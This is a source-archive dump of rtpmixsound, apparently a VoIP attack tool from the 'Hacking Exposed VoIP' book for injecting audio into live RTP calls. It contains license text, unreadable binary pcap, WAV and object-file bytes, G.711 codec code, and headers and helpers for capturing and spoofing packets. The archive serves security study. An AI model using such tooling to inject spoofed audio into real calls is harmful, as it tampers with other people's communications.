pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. rtpmixsound-3.0/rtpmixsound/g711RTPCaptureAllClearToBlow.pcap0000644000175000017500000011064410542051065023643 0ustar dookiedookieò0$E; :t~qE@@[ e e(LI?˰:!%0JZ4&!#<咋0, '?˴>&   $|j[KY@:PR0$E:t~qE@@[ e e(fU6*%%7YYL^ؕ0$E:t~qE@@[ e e(;Nչuɾ;4--8\,)DeZ׵8 #(߭k0$E:t~qE @@[ e e(..Ψ®3[J2(,IF$#&&(/5ӧ..*/v?"1W2!A<3*kӺ0$Eg:t~qE @@[ e e(l'2ϺT: 0̱Q<=GN:25ɭ+#3UgZ0#  $0$EE :t~qE @@[ e e(%&ID*ªKE̲?#4.!*&&-;"-?N$0$ER :t~qE@@[ e e(;?N^6' $0$EY :t~qE@@[ e e(* 9:% !48(1IZN]M2(%$$><( '>0$E< :t~qE@@[ e e(>ZGB78:JOzơW?#/DS( ()Եc63. %. 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Collier/Mark O'Brien // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Authors: // v3.0 : 01/03/2007 // Mark D. Collier , SecureLogix // Mark O'Brien, SecureLogix // Dustin D. Trammell , TippingPoint // v2.0 : 10/10/2006 // v1.0 : 08/14/2006 // Mark D. Collier , SecureLogix // Mark O'Brien, SecureLogix // // SecureLogix: http://www.securelogix.com // TippingPoint: http://www.tippingpoint.com // Hacking Exposed VoIP: http://www.hackingexposedvoip.com // //------------------------------------------------------------------------------- #ifndef __RTPMIXSOUND_H #define __RTPMIXSOUND_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define __RTPMIXSOUND_VERSION "rtpmixsound - Version 3.0" #define __RTPMIXSOUND_DATE " January 03, 2007" #define __RTPMIXSOUND_PROMISCOUS_MODE 1 #define __RTPMIXSOUND_LIBNET_IP 3 #define __RTPMIXSOUND_LIBNET_ETHERNET 2 #define __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER __RTPMIXSOUND_LIBNET_IP #define __RTPMIXSOUND_G711_PAYLOAD_TYPE 0 #define __RTPMIXSOUND_G711_PAYLOAD_LEN 160 #define __RTPMIXSOUND_G711_CODEC_RATE_HZ 50 #define __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC 20000 #define __RTPMIXSOUND_G711_AUDIO_TO_MIX_SEC 30 #define __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX __RTPMIXSOUND_G711_CODEC_RATE_HZ * __RTPMIXSOUND_G711_AUDIO_TO_MIX_SEC #define __RTPMIXSOUND_PCM_UNCOMPRESSED_COMPRESSION_CODE 1 char libnet_errbuf[LIBNET_ERRBUF_SIZE]; int opt; int optind; int deltaTSec; int deltaTUsec; int sockfd = 0; int rc = 0; unsigned int jitterDelayUsec = 0; unsigned int jitterProximityUsec = 0; bool bVerbose = false; const u_char *packet = NULL; pcap_t *h_pcap_live_rtp = NULL; // libpcap "handle" struct pcap_pkthdr *ppcap_pkthdr = NULL; struct pcap_pkthdr pcap_header; struct libnet_ethernet_hdr *eth_hdr = NULL; struct libnet_ipv4_hdr *ip_hdr = NULL; struct libnet_udp_hdr *udp_hdr = NULL; struct rfc1889_rtp_hdr { // byte 0 - uppermost byte of header // bit fields are defined starting from rightmost bits and // encountering higher order bits as you proceed down the page. // for example: cc occupies the low-order 4 bits of the byte. unsigned int cc : 4; // CSRC Count (i.e. # of CSRC hdrs following fixed hdr) unsigned int bExtensionIncluded : 1; // if RTP hdr includes 1 extension hdr unsigned int bPaddingIncluded : 1; // if the RTP payload is padded unsigned int version : 2; // should always equal version 2 // byte 1 // bits are defined from rightmost bits first and leftmost bits as you proceed down the page unsigned int payloadType : 7; unsigned int bMarker : 1; // Mark // bytes 3 & 2 (i.e. network order) unsigned short sequenceNumber; // Should inc by 1. // bytes 7, 6, 5, 4 (i.e. network order) unsigned int timestamp; // For G.711 should inc by 160. // bytes 11, 10, 9, 8 (i.e. network order) unsigned int ssrc; // Synchronization Source - fixed for a stream }; struct rfc1889_rtp_hdr *rtp_hdr = NULL; unsigned int offset_to_ip_hdr = LIBNET_ETH_H; unsigned int offset_to_udp_hdr = LIBNET_ETH_H + LIBNET_IPV4_H; unsigned int offset_to_rtp_msg = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H; unsigned int offset_to_rtp_payload = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H + sizeof ( struct rfc1889_rtp_hdr ); unsigned int g711_rtp_msg_len = __RTPMIXSOUND_G711_PAYLOAD_LEN + sizeof ( struct rfc1889_rtp_hdr ); struct bpf_program compiled_pcap_filter; libnet_t *l = NULL; libnet_ptag_t udp_tag = 0; libnet_ptag_t ip_tag = 0; libnet_ptag_t ether_tag = 0; struct timeval time_of_day; struct ifreq ifreq; unsigned char deviceMAC[ IFHWADDRLEN ]; // // 16-bit linear PCM is one signed 16-bit word for every G.711 ulaw byte // typedef struct pcm { short pcm_value[ __RTPMIXSOUND_G711_PAYLOAD_LEN ]; } pcmG711; struct pcm pcmSamplesToMix[ __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX ]; typedef struct rtp_msg { struct rfc1889_rtp_hdr rtp_hdr; unsigned char rtp_payload[ __RTPMIXSOUND_G711_PAYLOAD_LEN ]; } rtpG711Msg; bool preloadWavAudio ( char *psInputAudioFile, struct pcm pcmSamplesToMix[], unsigned int *numG711PacketEquivalents ); bool preloadTCPdumpAudio ( char *psInputAudioFile, struct pcm pcmSamplesToMix[], unsigned int *numG711PacketEquivalents ); void delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec ); void decodeAndPrintRTPMsg( const u_char *packet ); void catch_signals ( int signo ); void CleanupAndExit ( int status ); void usage ( int status ); #endif // __RTPMIXSOUND_H rtpmixsound-3.0/rtpmixsound/stapler.wav0000644000175000017500000006074710542051065020057 0ustar dookiedookieRIFFaWAVEfmt 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5ustar dookiedookiertpmixsound-3.0/g711conversions/g711conversions.c0000644000175000017500000002104510473407147021353 0ustar dookiedookie/* * This source code is a product of Sun Microsystems, Inc. and is provided * for unrestricted use. Users may copy or modify this source code without * charge. * * SUN SOURCE CODE IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING * THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE. * * Sun source code is provided with no support and without any obligation on * the part of Sun Microsystems, Inc. to assist in its use, correction, * modification or enhancement. * * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY THIS SOFTWARE * OR ANY PART THEREOF. * * In no event will Sun Microsystems, Inc. be liable for any lost revenue * or profits or other special, indirect and consequential damages, even if * Sun has been advised of the possibility of such damages. * * Sun Microsystems, Inc. * 2550 Garcia Avenue * Mountain View, California 94043 */ /* * g711conversions.c (renamed from g711.c on 08/24/2006 by MOB) * * u-law, A-law and linear PCM conversions. */ /* * December 30, 1994: * Functions linear2alaw, linear2ulaw have been updated to correctly * convert unquantized 16 bit values. * Tables for direct u- to A-law and A- to u-law conversions have been * corrected. * Borge Lindberg, Center for PersonKommunikation, Aalborg University. * bli@cpk.auc.dk * */ #include "g711conversions.h" #define SIGN_BIT (0x80) /* Sign bit for a A-law byte. */ #define QUANT_MASK (0xf) /* Quantization field mask. */ #define NSEGS (8) /* Number of A-law segments. */ #define SEG_SHIFT (4) /* Left shift for segment number. */ #define SEG_MASK (0x70) /* Segment field mask. */ static short seg_aend[8] = {0x1F, 0x3F, 0x7F, 0xFF, 0x1FF, 0x3FF, 0x7FF, 0xFFF}; static short seg_uend[8] = {0x3F, 0x7F, 0xFF, 0x1FF, 0x3FF, 0x7FF, 0xFFF, 0x1FFF}; /* copy from CCITT G.711 specifications */ unsigned char _u2a[128] = { /* u- to A-law conversions */ 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 27, 29, 31, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 46, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, /* corrected: 81, 82, 83, 84, 85, 86, 87, 88, should be: */ 80, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128}; unsigned char _a2u[128] = { /* A- to u-law conversions */ 1, 3, 5, 7, 9, 11, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 32, 33, 33, 34, 34, 35, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 48, 49, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 64, 65, 66, 67, 68, 69, 70, 71, 72, /* corrected: 73, 74, 75, 76, 77, 78, 79, 79, should be: */ 73, 74, 75, 76, 77, 78, 79, 80, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127}; static short search( short val, short *table, short size) { short i; for (i = 0; i < size; i++) { if (val <= *table++) return (i); } return (size); } /* * linear2alaw() - Convert a 16-bit linear PCM value to 8-bit A-law * * linear2alaw() accepts an 16-bit integer and encodes it as A-law data. * * Linear Input Code Compressed Code * ------------------------ --------------- * 0000000wxyza 000wxyz * 0000001wxyza 001wxyz * 000001wxyzab 010wxyz * 00001wxyzabc 011wxyz * 0001wxyzabcd 100wxyz * 001wxyzabcde 101wxyz * 01wxyzabcdef 110wxyz * 1wxyzabcdefg 111wxyz * * For further information see John C. Bellamy's Digital Telephony, 1982, * John Wiley & Sons, pps 98-111 and 472-476. */ unsigned char linear2alaw( short pcm_val) /* 2's complement (16-bit range) */ { short mask; short seg; unsigned char aval; pcm_val = pcm_val >> 3; if (pcm_val >= 0) { mask = 0xD5; /* sign (7th) bit = 1 */ } else { mask = 0x55; /* sign bit = 0 */ pcm_val = -pcm_val - 1; } /* Convert the scaled magnitude to segment number. */ seg = search(pcm_val, seg_aend, 8); /* Combine the sign, segment, and quantization bits. */ if (seg >= 8) /* out of range, return maximum value. */ return (unsigned char) (0x7F ^ mask); else { aval = (unsigned char) seg << SEG_SHIFT; if (seg < 2) aval |= (pcm_val >> 1) & QUANT_MASK; else aval |= (pcm_val >> seg) & QUANT_MASK; return (aval ^ mask); } } /* * alaw2linear() - Convert an A-law value to 16-bit linear PCM * */ short alaw2linear( unsigned char a_val) { short t; short seg; a_val ^= 0x55; t = (a_val & QUANT_MASK) << 4; seg = ((unsigned)a_val & SEG_MASK) >> SEG_SHIFT; switch (seg) { case 0: t += 8; break; case 1: t += 0x108; break; default: t += 0x108; t <<= seg - 1; } return ((a_val & SIGN_BIT) ? t : -t); } #define BIAS (0x84) /* Bias for linear code. */ #define CLIP 8159 /* * linear2ulaw() - Convert a linear PCM value to u-law * * In order to simplify the encoding process, the original linear magnitude * is biased by adding 33 which shifts the encoding range from (0 - 8158) to * (33 - 8191). The result can be seen in the following encoding table: * * Biased Linear Input Code Compressed Code * ------------------------ --------------- * 00000001wxyza 000wxyz * 0000001wxyzab 001wxyz * 000001wxyzabc 010wxyz * 00001wxyzabcd 011wxyz * 0001wxyzabcde 100wxyz * 001wxyzabcdef 101wxyz * 01wxyzabcdefg 110wxyz * 1wxyzabcdefgh 111wxyz * * Each biased linear code has a leading 1 which identifies the segment * number. The value of the segment number is equal to 7 minus the number * of leading 0's. The quantization interval is directly available as the * four bits wxyz. * The trailing bits (a - h) are ignored. * * Ordinarily the complement of the resulting code word is used for * transmission, and so the code word is complemented before it is returned. * * For further information see John C. Bellamy's Digital Telephony, 1982, * John Wiley & Sons, pps 98-111 and 472-476. */ unsigned char linear2ulaw( short pcm_val) /* 2's complement (16-bit range) */ { short mask; short seg; unsigned char uval; /* Get the sign and the magnitude of the value. */ pcm_val = pcm_val >> 2; if (pcm_val < 0) { pcm_val = -pcm_val; mask = 0x7F; } else { mask = 0xFF; } if ( pcm_val > CLIP ) pcm_val = CLIP; /* clip the magnitude */ pcm_val += (BIAS >> 2); /* Convert the scaled magnitude to segment number. */ seg = search(pcm_val, seg_uend, 8); /* * Combine the sign, segment, quantization bits; * and complement the code word. */ if (seg >= 8) /* out of range, return maximum value. */ return (unsigned char) (0x7F ^ mask); else { uval = (unsigned char) (seg << 4) | ((pcm_val >> (seg + 1)) & 0xF); return (uval ^ mask); } } /* * ulaw2linear() - Convert a u-law value to 16-bit linear PCM * * First, a biased linear code is derived from the code word. An unbiased * output can then be obtained by subtracting 33 from the biased code. * * Note that this function expects to be passed the complement of the * original code word. This is in keeping with ISDN conventions. */ short ulaw2linear( unsigned char u_val) { short t; /* Complement to obtain normal u-law value. */ u_val = ~u_val; /* * Extract and bias the quantization bits. Then * shift up by the segment number and subtract out the bias. */ t = ((u_val & QUANT_MASK) << 3) + BIAS; t <<= ((unsigned)u_val & SEG_MASK) >> SEG_SHIFT; return ((u_val & SIGN_BIT) ? (BIAS - t) : (t - BIAS)); } /* A-law to u-law conversion */ unsigned char alaw2ulaw( unsigned char aval) { aval &= 0xff; return (unsigned char) ((aval & 0x80) ? (0xFF ^ _a2u[aval ^ 0xD5]) : (0x7F ^ _a2u[aval ^ 0x55])); } /* u-law to A-law conversion */ unsigned char ulaw2alaw( unsigned char uval) { uval &= 0xff; return (unsigned char) ((uval & 0x80) ? (0xD5 ^ (_u2a[0xFF ^ uval] - 1)) : (unsigned char) (0x55 ^ (_u2a[0x7F ^ uval] - 1))); } rtpmixsound-3.0/g711conversions/g711conversions.h0000644000175000017500000000522410517706340021355 0ustar dookiedookie//------------------------------------------------------------------------------- // // g711conversions.h - header in support of // g711conversions.c // // Please see the preamble for g711conversions.c // That code was downloaded from the Internet // in an archive named: COSTG711.tar.gz // // That archive included the source file g711.c // It also contained a driver which included // the g711.c file directly into the driver's source. // This header was created so that the // source (renamed to g711conversions.c) // could be compiled into a distinct library. // // Copyright (C) 2006 Mark D. Collier/Mark O'Brien // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Author: Mark D. Collier/Mark O'Brien - 08/16/2006 v1.0 // www.securelogix.com - mark.collier@securelogix.com // www.hackingexposedvoip.com // //------------------------------------------------------------------------------- /* * g711.h - * * u-law, A-law and linear PCM conversions. */ #ifndef __G711CONVERSIONS_H #define __G711CONVERSIONS_H // // linear2alaw() - Convert a 16-bit linear PCM value to 8-bit A-law // // linear2alaw() accepts an 16-bit integer and encodes it as A-law data. // unsigned char linear2alaw ( short pcm_val ); // // alaw2linear() - Convert an A-law value to 16-bit linear PCM // short alaw2linear ( unsigned char a_val); // // linear2ulaw() - Convert a linear PCM value to u-law // unsigned char linear2ulaw ( short pcm_val ); // // ulaw2linear() - Convert a u-law value to 16-bit linear PCM // short ulaw2linear( unsigned char u_val ); // // A-law to u-law conversion // unsigned char alaw2ulaw ( unsigned char aval ); // // u-law to A-law conversion // unsigned char ulaw2alaw ( unsigned char uval ); #endif // __G711CONVERSIONS_H rtpmixsound-3.0/g711conversions/g711conversions.o0000644000175000017500000000621012070051605021351 0ustar dookiedookieELF>@@ UHHufMfEfE"HEf;EHEtEfEEf;E|E]UHSHfEf}f}xfE fEUfUEpfEf}~ EREEf}EfƒE ЈEUEӉ؉ƒE ЈEEE1H[]UHSEuUEf%fEEpfEEttEfE1EffE#EffEUEӉfEExEE[]UHSHfEf}f}yEfEfEfEf}~fEE!fEEfEf}~ E.EuUڃ ЈEEE1H[]UHSEUEffEUEpӉfEEyE)Ef-[]UHEEyEHEUH]UHEEyEHEHU]?? !"#$%&'()*+,.0123456789:;<=>@ABCDEFGHIJKLMNOPRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !!""##$%&'()*+,-./001123456789:;<=>?@@ABCDEFGHIJKLMNOPPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~GCC: (Debian 4.7.2-4) 4.7.2zRx NAC I  <AC E  `AC A  AC E  ]AC AW @AC { FAC A .symtab.strtab.shstrtab.rela.text.data.bss.comment.note.GNU-stack.rela.eh_frame @P &`  ,10:OJ Y    z%N, 16NBNZ6]f@pFg711conversions.cseg_aendseg_uendsearch_u2a_a2ulinear2alawalaw2linearlinear2ulawulaw2linearalaw2ulawulaw2alaw      @Nd6rtpmixsound-3.0/g711conversions/LICENSE_DOCUMENTATION0000644000175000017500000005050010517773666021346 0ustar dookiedookie GNU Free Documentation License Version 1.2, November 2002 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. 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If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. ADDENDUM: How to use this License for your documents To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page: Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this: with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software. rtpmixsound-3.0/g711conversions/Readme.txt0000644000175000017500000000314510522446356020176 0ustar dookiedookieThe G.711 codec conversion library is based upon open-source code from SUN published in the early 1990's and updated by Borge Lindberg on 12/30/1994. It was downloaded from the Net in an archive named: COSTG711.tar.gz The source file was renamed to: g711conversions.c The header file was created by the authors of this Readme file and reference to it was edited into g711conversions.c. The header was created so the source could be compiled into a distinct library for reference by other programs. Copyright (c) 2006 Mark D. Collier/Mark O'Brien Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". Authors: Mark D. Collier/Mark O'Brien 08/16/2006 v1.1 www.securelogix.com - mark.collier@securelogix.com www.hackingexposedvoip.com /* * This source code is a product of Sun Microsystems, Inc. and is provided * for unrestricted use. Users may copy or modify this source code without * charge. */ /* * December 30, 1994: * Functions linear2alaw, linear2ulaw have been updated to correctly * convert unquantized 16 bit values. * Tables for direct u- to A-law and A- to u-law conversions have been * corrected. * Borge Lindberg, Center for PersonKommunikation, Aalborg University. * bli@cpk.auc.dk * */ rtpmixsound-3.0/g711conversions/Makefile0000644000175000017500000000016710473407203017672 0ustar dookiedookieg711conversions: g711conversions.c g711conversions.h gcc -c g711conversions.c clean: rm -f g711conversions.o rtpmixsound-3.0/hack_library/0000755000175000017500000000000012070051576015713 5ustar dookiedookiertpmixsound-3.0/hack_library/LICENSE_DOCUMENTATION0000644000175000017500000005050010517472557021023 0ustar dookiedookie GNU Free Documentation License Version 1.2, November 2002 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. PREAMBLE The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others. This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. 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If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. 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For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text. A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. 2. VERBATIM COPYING You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. 3. COPYING IN QUANTITY If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. 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If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. ADDENDUM: How to use this License for your documents To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page: Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this: with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software. rtpmixsound-3.0/hack_library/hack_library.c0000644000175000017500000001552010517730334020514 0ustar dookiedookie//------------------------------------------------------------------------------- // // hack_library.c - A collection of tools used for SIP attack // tools. Developed for the Hacking // Exposed VoIP book. // // Copyright (C) 2006 Mark D. Collier/Mark O'Brien // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Author: Mark D. Collier/Mark O'Brien - 02/17/2006 v1.0 // www.securelogix.com - mark.collier@securelogix.com // www.hackingexposedvoip.com // //------------------------------------------------------------------------------- #include "hack_library.h" //------------------------------------------------------------------------------- // // Str2IP // // Called to convert a character string to an int IP address in network byte // order. The string must be in dot notation. Note: This is a destructive call // to the input string! // //----------------------------------------------------------------------------- int Str2IP ( char *str, int *ipNum ) { unsigned char str_val[4]; int *int_val = (int*) str_val; int i = 0; int val; char *digits; char *end = NULL; char *ptr = str; // // Skip leading spaces // while ( *ptr == ' ' ) { ptr++; } digits = ptr; // // Make sure the string is digits and '.' // while ( *ptr != '\0' && *ptr != ' ' ) { if ( (!isdigit(*ptr)) && (*ptr != '.' ) ) { return ( EXIT_FAILURE ); } else if ( *ptr == '.' ) { if ( i == 3 ) { return ( EXIT_FAILURE ); } else { i++; } ptr++; } else { ptr++; } } if ( i != 3 ) { return ( EXIT_FAILURE ); } ptr = digits; for ( i = 0; i < 4; i++ ) { if ( i<3 && (end = strchr(ptr,'.')) == NULL ) { return ( EXIT_FAILURE ); } *end = '\0'; val = atoi( ptr ); if ( val > 255 || ! isdigit(*ptr) ) { return ( EXIT_FAILURE ); } str_val[i] = (unsigned char) val; ptr = end + 1; } *ipNum = *int_val; return ( EXIT_SUCCESS ); } //----------------------------------------------------------------------------- // // DumpPacket // // Dump out the contents of the packet in a standard form. // The packetSize is the length in bytes. Output appears // in the following form: // // 0000 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx // 0010 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx // 0020 xx xx xx // // where the 1st column is the offset from the beginning of the // packet for the next byte and each xx is a hex byte value. // // return 0 for success, -1 for failure. // //----------------------------------------------------------------------------- int DumpPacket( char *psPacket, int packetSize ) { int lines = packetSize / 16; int rem = packetSize % 16; int m = 0; int n = 0; if ( ( !psPacket ) || ( packetSize < 0 ) ) { return -1; } printf( "\nPacket:" ); for ( m = 0; m < lines; m++ ) { // // Print first 8 bytes of current line // printf( "\n%04.4x ", m * 16 ); // Row offset leader for ( ; n < ( m * 16 + 8 ); n++ ) { printf( " %02.2x", (unsigned char) psPacket[ n ] ); } printf ( " " ); // Extra space separating columns of 8 // // Print last 8 bytes of current line // for ( ; ( n < ( m + 1 